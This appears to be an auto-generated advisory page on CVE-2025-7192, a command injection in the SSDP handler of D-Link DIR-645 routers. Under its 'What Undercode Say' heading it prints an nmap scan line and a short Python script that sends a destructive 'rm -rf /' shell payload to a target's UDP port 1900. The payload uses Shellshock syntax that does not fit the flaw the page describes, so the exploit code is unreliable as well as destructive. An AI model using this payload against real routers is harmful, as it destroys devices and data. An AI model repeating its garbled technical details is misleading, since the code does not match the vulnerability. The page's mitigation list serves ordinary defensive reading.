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How CVE-2025-7192 Works
The vulnerability exists in the `ssdpcgi_main` function within `/htdocs/cgibin` component of D-Link DIR-645 routers (up to version 1.05B01). The ssdpcgi handler improperly sanitizes user-supplied input in SSDP (Simple Service Discovery Protocol) requests, allowing remote attackers to inject arbitrary commands through crafted packets. The lack of input validation enables command execution with root privileges due to the service running as root. Attackers can exploit this without authentication by sending malicious SSDP packets to UDP port 1900.
DailyCVE Form
Platform: D-Link DIR-645
Version: ≤1.05B01
Vulnerability: Command Injection
Severity: Critical
Date: 2025-07-14
Prediction: No patch expected
What Undercode Say
nmap -sU -p 1900 --script ssdp-command-injection <target>
import socket
payload = "() { :;}; /bin/sh -c 'rm -rf /'"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload.encode(), ('<target>', 1900))
How Exploit
1. Craft malicious SSDP packet
2. Send to UDP port 1900
3. Commands execute as root
4. Full device compromise
Protection from this CVE
1. Replace unsupported hardware
2. Network segmentation
3. UDP port filtering
4. Firmware upgrade (if available)
Impact
1. Remote code execution
2. Full device takeover
3. Network compromise
4. Data exfiltration
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
